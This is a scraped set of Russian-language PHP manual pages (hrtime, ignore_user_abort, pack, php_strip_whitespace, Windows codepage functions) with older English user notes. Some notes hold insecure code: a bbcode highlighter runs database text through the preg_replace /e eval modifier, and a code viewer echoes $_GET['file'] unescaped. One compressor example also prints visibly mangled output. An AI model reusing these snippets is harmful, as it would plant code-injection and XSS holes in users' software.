You might want to use md5($html_string) instead of "piggusmaloy" as a generally good programming practice. Just in case "piggusmaloy" is actually in $html_string.
trixsey at animania dot nu 29-May-2005 04:02
A neat function I made. Syntax coloring, row numbers, varying background colors per row in the table.

<?
function showCode($code) {
    $html = highlight_string($code, true);
    $html = str_replace("\n", "", $html);
    $rows = explode("<br />", $html);

    $row_num = array();
    $i = 1;

    foreach($rows as $row) {
        if($i < 10) {
            $i = "0".$i;
        }

        if($i==1) {
            $row_num[] = "<tr><td><code><font color=\"#000000\"><code>$i</code></font>\t$row</code></td></tr>";
        }

        if($i!=1) {
            if(is_int($i/2)) {
                $row_num[] = "<tr bgcolor=\"#F9F9F9\"><td><code><font color=\"#000000\">$i</font>\t$row</code></td></tr>";
            } else {
                $row_num[] = "<tr><td><code><font color=\"#000000\">$i</font>\t$row</code></td></tr>";
            }
        }

        $i++;
    }
    return "<pre>\nFilename: <b>$_GET[file]</b>\n<table
    style=\"border:1px #000000 solid\">".implode($row_num)."</table></pre>";
}
?>
support at superhp dot de 10-Apr-2005 04:58
With this function you can highlight php code with line numbers:

<?php
function highlight_php($string)
{
  $Line = explode("\n",$string);

  for($i=1;$i<=count($Line);$i++)
  {
    $line .= "&nbsp;".$i."&nbsp;<br>";
  }

  ob_start();
  highlight_string($string);
  $Code=ob_get_contents();
  ob_end_clean();

  $header='<table border="0" cellpadding="0" cellspacing="0" width="95%" style="border-style: solid; border-width:1px; border-color: white black black white">
    <tr>
      <td width="100%" colspan="2"  style="border-style: solid; border-width:1px; border-color: white; background-color: #99ccff; font-family:Arial; color:white; font-weight:bold;">Php-Code:</td>
    </tr>
    <tr>
      <td width="3%" valign="top" style="background-color: #99ccff; border-style: solid; border-width:1px; border-color: white;"><code>'.$line.'</code></td>
      <td width="97%" valign="top" style="background-color: white;"><div style="white-space: nowrap; overflow: auto;"><code>';

  $footer=$Code.'</div></code></td>
    </tr>
  </table>';

  return $header.$footer;
} ?>
admin [at] develogix [dot] com 16-Feb-2005 11:15
I've been working on a good replacement for the highlight_string() function; and here is what I've come up with so far:

<?
function get_sourcecode_string($str, $return = false, $counting = true, $first_line_num = '1', $font_color = '#666'){
    $str = highlight_string($str, TRUE);
    $replace = array(
        '<font' => '<span',
        'color="' => 'style="color: ',
        '</font>' => '</span>',
        '<code>' => '',
        '</code>' => '',
        '<span style="color: #FF8000">' =>
            '<span style="color: '.$font_color.'">'
        );
    foreach ($replace as $html => $xhtml){
        $str = str_replace($html, $xhtml, $str);
    }
    // delete the first <span style="color:#000000;"> and the corresponding </span>
    $str = substr($str, 30, -9);

    $arr_html      = explode('<br />', $str);
    $total_lines   = count($arr_html);
    $out           = '';
    $line_counter  = 0;
    $last_line_num = $first_line_num + $total_lines;

    foreach ($arr_html as $line){
        $line = str_replace(chr(13), '', $line);
        $current_line = $first_line_num + $line_counter;
        if ($counting){
            $out .= '<span style="color:'.$font_color.'">'
                  . str_repeat('&nbsp;', strlen($last_line_num) - strlen($current_line))
                  . $current_line
                  . ': </span>';
        }
        $out .= $line
              . '<br />'."\n";
        $line_counter++;
    }
    $out = '<code>'."\n".$out.'</code>."\n"';

    if ($return){return $out;}
    else {echo $out;}
}
?>

This function outputs valid XHTML 1.1 code by replacing font tags with span tags. You can also specify whether you want it to return or echo, output a line-count, the color of the line-count, and the starting line-count number.

Usage:
<?
// $str = string with php
// $return = true (return) / false (echo)
//    default of false
// $counting = true (count) / false (don't count)
//    default of true
// $start = starting count number
//    default of '1'
// $color = count color with preceding #
//    defalut of '#666'
get_sourcecode_string($str, $return,   $counting, $start, $color);
?>
gaggge at gmail dot com 30-Jan-2005 08:26
This is a little function for highlighting bbcode-stylish PHP code from a mysql database.
(Like this: [php]<?php echo "test"; ?>[/php])

<?php
function bbcode($s)
{
    $s = str_replace("]\n", "]", $s);
    $match = array('#\[php\](.*?)\[\/php\]#se');
    $replace = array("'<div>'.highlight_string(stripslashes('$1'), true).'</div>'");
    return preg_replace($match, $replace, $s);
}
?>
admin at bwongar dot com 05-Jan-2005 03:11
I didn't get the expected results from the other XHTML_highlight function, so I developed my own and it is much more efficient. The older one uses a preg_replace to replace the contents of the tag to within a span tag. The only preg_replace in my function pulls the color attribute, and puts it within a str_replace'd span tag.

<?php
function xhtml_highlight($str) {
    $str = highlight_string($str, true);
    $str = str_replace(array('<font ', '</font>'), array('<span ', '</span>'), $str);
    return preg_replace('#color="(.*?)"#', 'style="color: \\1"', $str);
}

?>
manithu at fahr-zur-hoelle dot org 06-Nov-2004 11:10
This function will return highlighted, xhtml 1.1 valid code (replaces <font> with <span> elements and color with style attributes):

<?php

function xhtml_highlight($str) {
    $str = highlight_string($str, true);
    //replace <code><font color=""></font></code>
    $str = preg_replace('#<font color="([^\']*)">([^\']*)</font>#', '<span style="color: \\1">\\2</span>', $str);
    //replace other <font> elements
    return preg_replace('#<font color="([^\']*)">([^\']*)</font>#U', '<span style="color: \\1">\\2</span>', $str);
}

?>


Получить системное время высокого разрешения

  • « highlight_string
  • ignore_user_abort »
  • PHP Manual
  • Разные функции
  • Получить системное время высокого разрешения

hrtime

(PHP 7 >= 7.3.0, PHP 8)

hrtime — Получить системное время высокого разрешения

Описание

hrtime(bool $as_number = false): array|int|float|false

Возвращает время высокого разрешения системы, отсчитываемое с произвольной точки времени. Полученная временная метка неизменна и не может быть отрегулирована.

Список параметров

as_number

Должно ли время высокого разрешения возвращаться в виде массива (array) или числа.

Возвращаемые значения

Возвращает массив целых чисел в формате [секунды, наносекунды], если параметр as_number равен false. В противном случае наносекунды возвращаются в виде целого числа (int) (для 64-битных систем) или float (для 32-битных систем). Возвращает false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования hrtime()

<?php
echo hrtime(true), PHP_EOL;
print_r(hrtime());
?>

Результатом выполнения данного примера будет что-то подобное:

10444739687370679
Array
(
    [0] => 10444739
    [1] => 687464812
)

Смотрите также

  • Модуль Время высокого разрешения
  • microtime() - Возвращает текущую метку времени Unix с микросекундами

User Contributed Notes

SenseiSimple 25-Oct-2018 12:52
This function is particularly necessary on VMs running on KVM, XEN (openstack, AWS EC2, etc) when timing execution times.

On these platforms which lack vDSO the common method of using time() or microtime() can dramatically increase CPU/execution time due to the context switching from userland to kernel when running the `gettimeofday()` system call.

The common pattern is:
<?php
$time = -microtime(true);
sleep(5);
$end = sprintf('%f', $time += microtime(true));
?>

Substituted as:
<?php
$start=hrtime(true);
sleep(5);
$end=hrtime(true);
$eta=$end-$start;

echo $eta/1e+6; //nanoseconds to milliseconds
//5000.362419

//OR simply

$eta=-hrtime(true);
sleep(5);
$eta+=hrtime(true);

echo $eta/1e+6; //nanoseconds to milliseconds
//5000.088229
?>

There is also the new StopWatch class http://php.net/manual/en/class.hrtime-stopwatch.php


Установить, должно ли отключение клиента прерывать выполнение скрипта

  • « hrtime
  • pack »
  • PHP Manual
  • Разные функции
  • Установить, должно ли отключение клиента прерывать выполнение скрипта

ignore_user_abort

(PHP 4, PHP 5, PHP 7, PHP 8)

ignore_user_abort — Установить, должно ли отключение клиента прерывать выполнение скрипта

Описание

ignore_user_abort(?bool $enable = null): int

Устанавливает, необходимо ли прерывать работу скрипта при отключении клиента.

При работе с PHP-скриптом в командной строке, когда терминал скрипта отключается без прерывания работы скрипта, скрипт будет остановлен, если параметр enable не равен true

Список параметров

enable

Если параметр задан и не null, то эта функция устанавливает ini-настройку ignore_user_abort, заданным значением параметра enable. Если же параметр не задан, функция вернёт предыдущее значение опции без его изменения.

Возвращаемые значения

Возвращает предыдущее значение в виде целого числа.

Список изменений

Версия | Описание
8.0.0 | enable теперь допускает значение null.

Примеры

Пример #1 Пример использования ignore_user_abort()

<?php
// Игнорирует отключение пользователя и позволяет скрипту
// быть запущенным постоянно
ignore_user_abort(true);
set_time_limit(0);

echo 'Тестирование обработки соединения в PHP';

// Запуск бесконечного цикла,
// который будет завершён при выходе со страницы,
// либо при нажатии кнопки "Stop".
while(1)
{
// Завершено ли соединение?
if(connection_status() != CONNECTION_NORMAL)
{
break;
}

// Пауза на 10 секунд
sleep(10);
}

// Если скрипт достиг этой строки, то была
// выполнена функция 'break' из цикла while

// Здесь можно производить журналирование, либо
// выполнять другие необходимые операции независимо
// от браузера.
?>

Примечания

PHP не обнаружит, что пользователь прервал соединение до тех пор, пока не будет произведена попытка отправки информации клиенту. Простое использование выражения echo не гарантирует отправку информации, смотрите функцию flush().

Смотрите также

  • connection_aborted() - Проверить, отключён ли клиент
  • connection_status() - Возвращает статус соединения в битах
  • Смотрите Управление Соединением для получения более детальной информации по управлению соединениями в PHP.

User Contributed Notes

Charlie Brown 11-Jan-2015 09:52
If running a long process and the browser often close the connection, then use this function.
Micke 11-Dec-2014 04:22
It seems that this function does not work for IIS servers.

A detailed description can be found on the PHP Bug Tracking System:
https://bugs.php.net/bug.php?id=60586#1378935714
lukas dot starecek at centrum dot cz 14-Sep-2009 12:22
Comment from Anonymous is not 100% valid. Time from sleep function is not counted to execution time because sleep delays program execution (see http://www.php.net/manual/en/function.sleep.php and comments). We tested it and it's true. Try this:

<?php

set_time_limit(2);
sleep(4);
echo 'hi!';
sleep(4);
echo 'bye bye!';

?>

It means, that if the loop most of the time will be at sleep (and in this case it probably be), then this script may be active for months or years even if you set time limit to one day.
Anonymous 03-Jul-2009 01:38
use the spiritual-coder's code below with exreme caution and do not use it unless you are an advanced user.

first of all, such a code with no bypass point can cause infinite loops and ghost threads in server. there must be a trick to break out the loop.

i.e. you can use  if (file_exists(dirname(__FILE__)."stop.txt")) break; in the loop so if you create "stop.txt", she script will stop execution.

also if you use set_time_limit(86400); instead of set_time_limit(0); your script will stop after one day.
spiritual-coder at spiritual-coder dot com 13-Jul-2006 09:45
If you want to simulate a crontask you must call this script once and it will keep running forever (during server uptime) in the background while "doing something" every specified seconds (= $interval):

<?php
ignore_user_abort(1); // run script in background
set_time_limit(0); // run script forever
$interval=60*15; // do every 15 minutes...
do{
   // add the script that has to be ran every 15 minutes here
   // ...
   sleep($interval); // wait 15 minutes
}while(true);
?>
plamen at pulsator dot com 29-Mar-2001 09:21
The script should output something to the browser in order to abort. If there is no output the script keeps on running.


Упаковать данные в бинарную строку

  • « ignore_user_abort
  • php_strip_whitespace »
  • PHP Manual
  • Разные функции
  • Упаковать данные в бинарную строку

pack

(PHP 4, PHP 5, PHP 7, PHP 8)

pack — Упаковать данные в бинарную строку

Описание

pack(string $format, mixed ...$values): string

Упаковывает заданные аргументы в бинарную строку в соответствии с форматом в параметре format.

Идея этой функции была заимствована из Perl и все коды форматирования работают так же. Однако, есть некоторые отсутствующие коды форматирования, такие как код формата Perl "u".

Необходимо иметь в виду, что отличие между знаковыми и беззнаковыми значениями влияет только на функцию unpack(), тогда как функция pack() даёт одинаковый результат для знаковых и беззнаковых кодов формата.

Список параметров

format

Параметр format задаётся в виде строки и состоит из кодов формата и опционального аргумента повторения. Аргумент может быть целочисленным, либо * для повторения до конца введённых данных. Для a, A, h, H число повторений определяет то, сколько символов взято от одного аргумента данных, для @ - это абсолютная позиция для размещения следующих данных, для всего остального число повторений определяет как много аргументов данных было обработано и упаковано в результирующую бинарную строку.

Работающие на данный момент форматы:

Символы форматов функции pack()
Код | Описание
a | Строка (string) с NUL-заполнением
A | Строка (string) со SPACE-заполнением
h | Hex-строка (Hex string), с нижнего разряда
H | Hex-строка (Hex string), с верхнего разряда
c | знаковый символ (char)
C | беззнаковый символ (char)
s | знаковый short (всегда 16 бит, машинный байтовый порядок)
S | беззнаковый short (всегда 16 бит, машинный байтовый порядок)
n | беззнаковый short (всегда 16 бит, порядок big endian)
v | беззнаковый short (всегда 16 бит, порядок little endian)
i | знаковый integer (машинно-зависимый размер и порядок)
I | беззнаковый integer (машинно-зависимый размер и порядок)
l | знаковый long (всегда 32 бит, машинный порядок)
L | беззнаковый long (всегда 32 бит, машинный порядок)
N | беззнаковый long (всегда 32 бит, порядок big endian)
V | беззнаковый long (всегда 32 бит, порядок little endian)
q | signed long long (всегда 64 bit, машинный порядок)
Q | беззнаковый long long (всегда 64 bit, машинный порядок)
J | беззнаковый long long (всегда 64 bit, порядок big endian)
P | беззнаковый long long (всегда 64 bit, порядок little endian)
f | float (машинно-зависимые размер и представление)
g | float (машинно-зависимые размер, порядок байт little endian)
G | float (машинно-зависимые размер, порядок байт big endian)
d | double (машинно-зависимые размер и представление)
e | double (машинно-зависимые размер, порядок байт little endian)
E | double (машинно-зависимые размер, порядок байт big endian)
x | байт NUL
X | Резервирование одного байта
Z | Строка (string) с NUL-заполнением
@ NUL-заполнение до абсолютной позиции

values

Возвращаемые значения

Возвращает бинарную строку, содержащую данные.

Список изменений

Версия | Описание
8.0.0 | Функция больше не возвращает false в случае возникновения ошибки.
7.2.0 | Типы float и double поддерживают как обратный, так и прямой порядок передачи байтов.
7.0.15,7.1.1 | Добавлены коды "e", "E", "g" и "G" для поддержки принудительного указания порядка байт для float и double.

Примеры

Пример #1 Пример использования pack()

<?php
$binarydata = pack("nvc*", 0x1234, 0x5678, 65, 66);
?>

Полученная бинарная строка длиной 6 байт будет содержать последовательность байтов 0x12, 0x34, 0x78, 0x56, 0x41, 0x42.

Примечания

Предостережение

Необходимо отметить, что PHP сохраняет значения типа int как знаковые с машинно-зависимым размером (C тип long). Все числа, переданные как int, но выходящие за границы этого типа будут сохранены с типом float. При упаковке этих float как int, они будут переданы с типом int. Это может как совпадать, так и нет с заданным шаблоном.

Наиболее частым является случай, когда упаковываются беззнаковые числа типа int. В системах, где int имеет размер в 32 бита, число обычно передаётся по тому же шаблону, как если бы int был беззнаковым (хотя, это зависит от определённых преобразований из знаковое в беззнаковое, согласно стандарту С). В системах, где тип int имеет размер в 64 бита, тип float не имеет мантиссы, достаточной по размеру для хранения значения без потери точности. Если эти системы также имеют простой 64-битный С тип int (большинство UNIX систем не имеют), то единственным путём для использования формата I в верхнем разряде является создание отрицательных int значений с тем же представлением как и в определённом беззнаковом значении.

Смотрите также

  • unpack() - Распаковать данные из бинарной строки

User Contributed Notes

ru 11-Jul-2017 05:45
pack()
h    Hex string, low nibble first (not same hex2bin())
H    Hex string, high nibble first (same hex2bin())
stanislav dot eckert at vizson dot de 29-May-2016 03:14
A helper class to convert integer to binary strings and vice versa. Useful for writing and reading integers to / from files or sockets.

<?php

    class int_helper
    {
        public static function int8($i) {
            return is_int($i) ? pack("c", $i) : unpack("c", $i)[1];
        }

        public static function uInt8($i) {
            return is_int($i) ? pack("C", $i) : unpack("C", $i)[1];
        }

        public static function int16($i) {
            return is_int($i) ? pack("s", $i) : unpack("s", $i)[1];
        }

        public static function uInt16($i, $endianness=false) {
            $f = is_int($i) ? "pack" : "unpack";

            if ($endianness === true) {  // big-endian
                $i = $f("n", $i);
            }
            else if ($endianness === false) {  // little-endian
                $i = $f("v", $i);
            }
            else if ($endianness === null) {  // machine byte order
                $i = $f("S", $i);
            }

            return is_array($i) ? $i[1] : $i;
        }

        public static function int32($i) {
            return is_int($i) ? pack("l", $i) : unpack("l", $i)[1];
        }

        public static function uInt32($i, $endianness=false) {
            $f = is_int($i) ? "pack" : "unpack";

            if ($endianness === true) {  // big-endian
                $i = $f("N", $i);
            }
            else if ($endianness === false) {  // little-endian
                $i = $f("V", $i);
            }
            else if ($endianness === null) {  // machine byte order
                $i = $f("L", $i);
            }

            return is_array($i) ? $i[1] : $i;
        }

        public static function int64($i) {
            return is_int($i) ? pack("q", $i) : unpack("q", $i)[1];
        }

        public static function uInt64($i, $endianness=false) {
            $f = is_int($i) ? "pack" : "unpack";

            if ($endianness === true) {  // big-endian
                $i = $f("J", $i);
            }
            else if ($endianness === false) {  // little-endian
                $i = $f("P", $i);
            }
            else if ($endianness === null) {  // machine byte order
                $i = $f("Q", $i);
            }

            return is_array($i) ? $i[1] : $i;
        }
    }
?>

Usage example:
<?php
    Header("Content-Type: text/plain");
    include("int_helper.php");

    echo int_helper::uInt8(0x6b) . PHP_EOL;  // k
    echo int_helper::uInt8(107) . PHP_EOL;  // k
    echo int_helper::uInt8("\x6b") . PHP_EOL . PHP_EOL;  // 107

    echo int_helper::uInt16(4101) . PHP_EOL;  // \x05\x10
    echo int_helper::uInt16("\x05\x10") . PHP_EOL;  // 4101
    echo int_helper::uInt16("\x05\x10", true) . PHP_EOL . PHP_EOL;  // 1296

    echo int_helper::uInt32(2147483647) . PHP_EOL;  // \xff\xff\xff\x7f
    echo int_helper::uInt32("\xff\xff\xff\x7f") . PHP_EOL . PHP_EOL;  // 2147483647

    // Note: Test this with 64-bit build of PHP
    echo int_helper::uInt64(9223372036854775807) . PHP_EOL;  // \xff\xff\xff\xff\xff\xff\xff\x7f
    echo int_helper::uInt64("\xff\xff\xff\xff\xff\xff\xff\x7f") . PHP_EOL . PHP_EOL;  // 9223372036854775807

?>
petepostma at gmail dot spam dot com 06-Jul-2012 05:26
Even though in a 64-bit architecure intval(6123456789) = 6123456789, and sprintf('%b', 5000000000) = 100101010000001011111001000000000
pack will not treat anything passed to it as 64-bit.  If you want to pack a 64-bit integer:

<?php
$big = 5000000000;

$left = 0xffffffff00000000;
$right = 0x00000000ffffffff;

$l = ($big & $left) >>32;
$r = $big & $right;

$good = pack('NN', $l, $r);

$urlsafe = str_replace(array('+','/'), array('-','_'), base64_encode($good));

//done!

//rebuild:
$unurl =  str_replace(array('-','_'), array('+','/'), $urlsafe);
$binary = base64_decode($unurl);

$set = unpack('N2', $tmp);
print_r($set);

$original = $set[1] << 32 | $set[2];
echo $original, "\\r\\n";
?>

results in:
Array
(
    [1] => 1
    [2] => 705032704
)
5000000000

but ONLY on a 64-bit enabled machine and PHP distro.
chadm at codeangel dot org 23-Feb-2012 09:13
If you'd like to understand pack/unpack. There is a tutorial here in perl, that works equally well in understanding it for php:

http://perldoc.perl.org/perlpacktut.html
FrozenFire 20-Oct-2010 09:40
If you need to unpack a signed short from big-endian or little-endian specifically, instead of machine-byte-order, you need only unpack it as the unsigned form, and then if the result is >= 2^15, subtract 2^16 from it.

And example would be:

<?php
$foo = unpack("n", $signedbigendianshort);
$foo = $foo[1];
if($foo >= pow(2, 15)) $foo -= pow(2, 16);
?>
Ammar Hameed 21-Jun-2010 04:53
Using pack to write Arabic char(s) to a file.

<?php
$text = "&#13574;&#13830;&#13830;";

$text = mb_convert_encoding($text, "UCS-2BE", "HTML-ENTITIES");

$len =  mb_strlen($text);

$bom = mb_convert_encoding("&#65534;", "unicode", "HTML-ENTITIES");

$fp = fopen('text.txt', 'w');

fwrite($fp, pack('a2', $bom));
fwrite($fp, pack("a{$len}", $text));
fwrite($fp, pack('a2', $bom));
fwrite($fp, pack('a2', "\n"));

fclose($fp);
?>
php at nagler-ihlein dot de 08-May-2008 07:26
Be aware of format code H always padding the 0 for byte-alignment to the right (for odd count of nibbles).

So pack("H", "7") results in 0x70 (ASCII character 'p') and not in 0x07 (BELL character)
as well as pack("H*", "347") results in 0x34 ('4') and 0x70 ('p') and not 0x03 and 0x47.
j.s.hoekstra 13-Mar-2006 08:57
/* Convert float from HostOrder to Network Order */
function FToN( $val )
{
    $a = unpack("I",pack( "f",$val ));
    return pack("N",$a[1] );
}

/* Convert float from Network Order to HostOrder */
function NToF($val )
{
    $a = unpack("N",$val);
    $b = unpack("f",pack( "I",$a[1]));
    return $b[1];
}
Patrik Fimml 11-Oct-2005 10:42
You will get the same effect with

<?php
function _readInt($fp)
{
   return unpack('V', fread($fp, 4));
}
?>

or unpack('N', ...) for big-endianness.
plutus at gmx dot de 10-Aug-2000 04:14
Note that the the upper command in perl looks like this:

$binarydata = pack ("n v c*", 0x1234, 0x5678, 65, 66);
In PHP it seems that no whitespaces are allowed in the first parameter. So if you want to convert your pack command from perl -> PHP, don't forget to remove the whitespaces!


Возвращает исходный код без комментариев и пробелов

  • « pack
  • sapi_windows_cp_conv »
  • PHP Manual
  • Разные функции
  • Возвращает исходный код без комментариев и пробелов

php_strip_whitespace

(PHP 5, PHP 7, PHP 8)

php_strip_whitespace — Возвращает исходный код без комментариев и пробелов

Описание

php_strip_whitespace(string $filename): string

Возвращает исходный код PHP в файл (filename) с удалёнными комментариями и пробелами. Эта функция может быть полезной для определения фактичного объёма чистого кода в скриптах по сравнению с количеством комментариев. Функция аналогична использованию php -w из командной строки.

Список параметров

filename

Путь к файлу PHP.

Возвращаемые значения

Возвращает очищенный исходный код в случае успешного выполнения или пустую строку в случае возникновения ошибки.

Замечание:

Эта функция принимает во внимание значение INI-директивы short_open_tag.

Примеры

Пример #1 Пример использования php_strip_whitespace()

<?php
// PHP комментарий

/*
* Другой PHP комментарий
*/

echo php_strip_whitespace(__FILE__);
// Символы новой строки считаются пробелами, и также удаляются:
do_nothing();
?>

Результат выполнения данного примера:

<?php
 echo php_strip_whitespace(__FILE__); do_nothing(); ?>

В результате выполнения примера выведен исходный код PHP без комментариев, пробелов и пустых строк.

User Contributed Notes

razvan_bc at yahoo dot com 20-May-2019 11:48
i notice that on 45=75kb php file compressed using php_strip_whitespace i got slowest speed results in my apache benchmark  .bat tests so doing on a normal php file 10 tests and another 10 tests on a compressed one ,calculating the math average value  I got fastest results on  normal php files.

well,seeing that results i think  SO ,NICE,BUT IF WE COMBINE THESE "METHODS" : what if i use a partial minified method using this function ????

here is the code:
(if you run this in xampp and you are beginner you got a blank page in firefox  ,but if you right click it then you click on the option "view source" you'll get the php partial stripped by comments and tabs) :

<?php
/*   hi there !!!
here are the comments */
//another try

echo removecomments('index.php');

/*   hi there !!!
here are the comments */
//another try
function removecomments($f){
    $w=Array(';','{','}');
    $ts = token_get_all(php_strip_whitespace($f));
    $s='';
    foreach($ts as $t){
        if(is_array($t)){
            $s .=$t[1];
        }else{
            $s .=$t;
            if( in_array($t,$w) ) $s.=chr(13).chr(10);
        }
    }

    return $s;
}

?>
TK 22-May-2009 06:07
I was looking earlier for a way to strip php comments from my source files but didn't come up with much.  I wrote the following function to do the trick using the tokenizer.  I've tested in on an entire phpMyAdmin install and it worked fine afterward... so it should be good to go.  You may also specify any number of tokens to strip such as T_WHITESPACE rather the default of T_COMMENT and T_DOC_COMMENT.

Hopefully someone finds it useful.

<?php

function strip_tokens($code) {

    $args = func_get_args();
    $arg_count = count($args);

    // if no tokens to strip have been specified then strip comments by default
    if( $arg_count === 1 ) {
        $args[1] = T_COMMENT;
        $args[2] = T_DOC_COMMENT;
    }

    // build a keyed array of tokens to strip
    for( $i = 1; $i < $arg_count; ++$i )
        $strip[ $args[$i] ] = true;

    // set a keyed array of newline characters used to preserve line numbering
    $newlines = array("\n" => true, "\r" => true);

    $tokens = token_get_all($code);

    reset($tokens);

    $return = '';

    $token = current($tokens);

    while( $token ) {

        if( !is_array($token) )

            $return.= $token;

        elseif(    !isset($strip[ $token[0] ]) )

            $return.= $token[1];

        else {

            // return only the token's newline characters to preserve line numbering
            for( $i = 0, $token_length = strlen($token[1]); $i < $token_length; ++$i )
                if( isset($newlines[ $token[1][$i] ]) )
                    $return.= $token[1][$i];

        }

        $token = next($tokens);

    } // while more tokens

    return $return;

} // function

?>
gelamu at gmail dot com 10-Apr-2008 02:12
With this function You can compress Your PHP source code.

<?php

function compress_php_src($src) {
    // Whitespaces left and right from this signs can be ignored
    static $IW = array(
        T_CONCAT_EQUAL,             // .=
        T_DOUBLE_ARROW,             // =>
        T_BOOLEAN_AND,              // &&
        T_BOOLEAN_OR,               // ||
        T_IS_EQUAL,                 // ==
        T_IS_NOT_EQUAL,             // != or <>
        T_IS_SMALLER_OR_EQUAL,      // <=
        T_IS_GREATER_OR_EQUAL,      // >=
        T_INC,                      // ++
        T_DEC,                      // --
        T_PLUS_EQUAL,               // +=
        T_MINUS_EQUAL,              // -=
        T_MUL_EQUAL,                // *=
        T_DIV_EQUAL,                // /=
        T_IS_IDENTICAL,             // ===
        T_IS_NOT_IDENTICAL,         // !==
        T_DOUBLE_COLON,             // ::
        T_PAAMAYIM_NEKUDOTAYIM,     // ::
        T_OBJECT_OPERATOR,          // ->
        T_DOLLAR_OPEN_CURLY_BRACES, // ${
        T_AND_EQUAL,                // &=
        T_MOD_EQUAL,                // %=
        T_XOR_EQUAL,                // ^=
        T_OR_EQUAL,                 // |=
        T_SL,                       // <<
        T_SR,                       // >>
        T_SL_EQUAL,                 // <<=
        T_SR_EQUAL,                 // >>=
    );
    if(is_file($src)) {
        if(!$src = file_get_contents($src)) {
            return false;
        }
    }
    $tokens = token_get_all($src);

    $new = "";
    $c = sizeof($tokens);
    $iw = false; // ignore whitespace
    $ih = false; // in HEREDOC
    $ls = "";    // last sign
    $ot = null;  // open tag
    for($i = 0; $i < $c; $i++) {
        $token = $tokens[$i];
        if(is_array($token)) {
            list($tn, $ts) = $token; // tokens: number, string, line
            $tname = token_name($tn);
            if($tn == T_INLINE_HTML) {
                $new .= $ts;
                $iw = false;
            } else {
                if($tn == T_OPEN_TAG) {
                    if(strpos($ts, " ") || strpos($ts, "\n") || strpos($ts, "\t") || strpos($ts, "\r")) {
                        $ts = rtrim($ts);
                    }
                    $ts .= " ";
                    $new .= $ts;
                    $ot = T_OPEN_TAG;
                    $iw = true;
                } elseif($tn == T_OPEN_TAG_WITH_ECHO) {
                    $new .= $ts;
                    $ot = T_OPEN_TAG_WITH_ECHO;
                    $iw = true;
                } elseif($tn == T_CLOSE_TAG) {
                    if($ot == T_OPEN_TAG_WITH_ECHO) {
                        $new = rtrim($new, "; ");
                    } else {
                        $ts = " ".$ts;
                    }
                    $new .= $ts;
                    $ot = null;
                    $iw = false;
                } elseif(in_array($tn, $IW)) {
                    $new .= $ts;
                    $iw = true;
                } elseif($tn == T_CONSTANT_ENCAPSED_STRING
                       || $tn == T_ENCAPSED_AND_WHITESPACE)
                {
                    if($ts[0] == '"') {
                        $ts = addcslashes($ts, "\n\t\r");
                    }
                    $new .= $ts;
                    $iw = true;
                } elseif($tn == T_WHITESPACE) {
                    $nt = @$tokens[$i+1];
                    if(!$iw && (!is_string($nt) || $nt == '$') && !in_array($nt[0], $IW)) {
                        $new .= " ";
                    }
                    $iw = false;
                } elseif($tn == T_START_HEREDOC) {
                    $new .= "<<<S\n";
                    $iw = false;
                    $ih = true; // in HEREDOC
                } elseif($tn == T_END_HEREDOC) {
                    $new .= "S;";
                    $iw = true;
                    $ih = false; // in HEREDOC
                    for($j = $i+1; $j < $c; $j++) {
                        if(is_string($tokens[$j]) && $tokens[$j] == ";") {
                            $i = $j;
                            break;
                        } else if($tokens[$j][0] == T_CLOSE_TAG) {
                            break;
                        }
                    }
                } elseif($tn == T_COMMENT || $tn == T_DOC_COMMENT) {
                    $iw = true;
                } else {
                    if(!$ih) {
                        $ts = strtolower($ts);
                    }
                    $new .= $ts;
                    $iw = false;
                }
            }
            $ls = "";
        } else {
            if(($token != ";" && $token != ":") || $ls != $token) {
                $new .= $token;
                $ls = $token;
            }
            $iw = true;
        }
    }
    return $new;
}

?>

For example:
<?php

$src = <<<EOT
<?php
// some comment
for ( $i = 0; $i < 99; $i ++ ) {
   echo "i=${ i }\n";
   /* ... */
}
/** ... */
function abc() {
   return   "abc";
};

abc();
?>
<h1><?= "Some text " . str_repeat("_-x-_ ", 32);;; ?></h1>
EOT;
var_dump(compress_php_src($src));
?>

And the result is:
string(125) "<?php for(=0;<99;++){echo "i=\n";}function abc(){return "abc";};abc(); ?>
<h1><?="Some text ".str_repeat("_-x-_ ",32)?></h1>"
Jouni 03-Oct-2007 05:14
If you wish to just remove excess whitespace from a string, see the example "Strip whitespace" in the preg_replace documentation (http://www.php.net/manual/en/function.preg-replace.php).
flconseil at yahoo dot fr 08-Jul-2006 08:57
Beware that this function uses the output buffering mechanism.

If you give a 'stream wrapped' path as argument, anything echoed by the stream wrapper during this call (e.g. trace messages) won't be displayed to the screen but will be inserted in php_strip_whitespace's result.

If you execute this stripped code later, it will display the messages which should have been output during php_strip_whitespace's execution !


Преобразовать строку из одной кодовой страницы в другую

  • « php_strip_whitespace
  • sapi_windows_cp_get »
  • PHP Manual
  • Разные функции
  • Преобразовать строку из одной кодовой страницы в другую

sapi_windows_cp_conv

(PHP 7 >= 7.1.0, PHP 8)

sapi_windows_cp_conv — Преобразовать строку из одной кодовой страницы в другую

Описание

sapi_windows_cp_conv(int|string $in_codepage, int|string $out_codepage, string $subject): ?string

Преобразовать строку из одной кодовой страницы в другую.

Список параметров

in_codepage

Кодовая страница строки subject. Либо имя или идентификатор кодовой страницы.

out_codepage

Кодовая страница для преобразования строки subject. Либо имя или идентификатор кодовой страницы.

subject

Строка для преобразования.

Возвращаемые значения

Строка subject, преобразованная в out_codepage или null в случае возникновения ошибки.

Ошибки

Эта функция выдаст ошибки уровня E_WARNING, если переданы недопустимые кодовые страницы, или если строка в параметре subject некорректная для in_codepage.

Смотрите также

  • sapi_windows_cp_get() - Получить текущую кодовую страницу
  • iconv() - Преобразует строку из одной кодировки символов в другую

User Contributed Notes

There are no user contributed notes for this page.


Получить текущую кодовую страницу

  • « sapi_windows_cp_conv
  • sapi_windows_cp_is_utf8 »
  • PHP Manual
  • Разные функции
  • Получить текущую кодовую страницу

sapi_windows_cp_get

(PHP 7 >= 7.1.0, PHP 8)

sapi_windows_cp_get — Получить текущую кодовую страницу

Описание

sapi_windows_cp_get(string $kind = ""): int

Получить текущую кодовую страницу.

Список параметров

kind

Тип кодовой страницы операционной системы, которую нужно получить: либо 'ansi', либо 'oem'. Любое другое значение относится к текущей кодовой странице процесса.

Возвращаемые значения

Если kind равен 'ansi', возвращается текущая кодовая страница ANSI операционной системы. Если kind равен 'oem', возвращается текущая кодовая страница OEM операционной системы. В противном случае возвращается текущая кодовая страница процесса.

Смотрите также

  • sapi_windows_cp_set() - Установить кодовую страницу процесса

User Contributed Notes

There are no user contributed notes for this page.


Указывает, совместима ли кодовая страница с UTF-8

  • « sapi_windows_cp_get
  • sapi_windows_cp_set »
